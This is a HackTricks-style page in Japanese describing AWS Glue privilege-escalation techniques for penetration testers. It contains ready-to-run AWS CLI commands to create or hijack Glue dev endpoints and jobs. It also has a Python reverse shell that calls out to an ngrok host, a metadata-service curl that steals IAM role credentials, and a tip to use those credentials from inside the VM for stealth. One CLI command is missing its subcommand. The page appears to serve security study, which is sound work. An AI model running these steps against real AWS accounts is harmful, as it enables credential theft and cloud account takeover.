# AWS - Glue Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## glue

### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

これらの権限を持つユーザーは、**新しい AWS Glue development endpoint をセットアップし**、**Glue によって引き受け可能な既存の service role をこのエンドポイントに特定の権限で割り当てる**ことができます。

セットアップ後、**攻撃者はエンドポイントのインスタンスに SSH でアクセスでき**、割り当てられたロールの IAM 資格情報を盗むことができます:
```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
ステルス目的のため、Glue の仮想マシン内から IAM 資格情報を使用することを推奨します。

**潜在的な影響:** 指定された glue サービスロールへの Privesc。

### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

この権限を持つユーザーは **既存の Glue 開発用** エンドポイントの SSH キーを変更し、**それを利用した SSH アクセスを有効にできます**。これにより攻撃者はエンドポイントに紐付けられたロールの権限でコマンドを実行できます:
```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
**潜在的な影響:** 使用されている glue サービスロールへの Privesc

### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)

**`iam:PassRole`** と **`glue:CreateJob` or `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` or `glue:CreateTrigger`** のいずれかを組み合わせて持つユーザーは、任意の **Glue service account** をアタッチして **AWS Glue job** を作成または更新し、その実行を開始できます。ジョブは任意の Python コードを実行できるため、これを悪用して reverse shell を確立することが可能です。この reverse shell を使って Glue ジョブにアタッチされたロールの **IAM credential**s を exfiltrate し、そのロールの権限に基づいた不正なアクセスや操作につながる可能性があります:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
```
**Potential Impact:** 指定された glue サービスロールへの Privesc

### `glue:UpdateJob`

update 権限のみで、攻撃者は既にアタッチされているロールの IAM Credentials を盗むことができます。

**Potential Impact:** アタッチされた glue サービスロールへの Privesc

## 参考

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
